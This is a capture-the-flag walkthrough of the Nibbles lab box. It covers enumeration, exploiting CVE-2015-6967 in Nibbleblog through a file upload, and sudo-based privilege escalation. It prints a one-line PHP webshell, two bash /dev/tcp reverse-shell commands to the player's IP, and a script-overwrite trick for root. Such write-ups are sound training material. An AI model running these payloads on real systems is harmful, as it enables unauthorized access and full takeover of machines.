Nibbles

Nmap :p

nmap -sC -sV -T4 10.129.x.x
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Only SSH and a web server, so the website is where we start. The page just says “Hello world!” but viewing the source code shows a comment pointing us to a /nibbleblog/ directory.

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Running gobuster on that directory shows a content subdirectory, and digging through it we find /nibbleblog/content/private/users.xml which exposes the admin user.

gobuster dir -u http://nibbles.htb/nibbleblog/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

Navigating to admin.php we can log in with admin:nibbles. There’s no default password here, the box name was just the guess that worked.

Nibbleblog 4.0.3 has an authenticated RCE in the My Image plugin (CVE-2015-6967). The plugin lets us upload an “image” but never checks that it’s actually an image, so we can upload a PHP file instead.

https://github.com/dix0nym/CVE-2015-6967

We upload this tiny PHP webshell through the plugin:

<?=`$_GET[0]`?>

Nibbleblog saves it as image.php under the plugin folder. With a listener running, we hit it with a reverse shell:

nc -lvnp 4444
curl -G "http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php" \
  --data-urlencode "0=bash -c 'bash -i >& /dev/tcp/10.10.17.229/4444 0>&1'"

We are now nibbler and can grab the user flag.

Privesc

Running sudo -l shows we can run a monitor.sh script as root with no password.

nibbler@Nibbles:~$ sudo -l
User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

The script lives in our own home directory (inside personal.zip, so unzip that first), which means we own it and can just overwrite it with a reverse shell:

unzip personal.zip
cat > /home/nibbler/personal/stuff/monitor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.17.229/4445 0>&1
EOF
chmod +x /home/nibbler/personal/stuff/monitor.sh

Start up another listener on 4445 and run the script with sudo:

sudo /home/nibbler/personal/stuff/monitor.sh

We catch a shell as root and can grab the root flag.

Ez gg.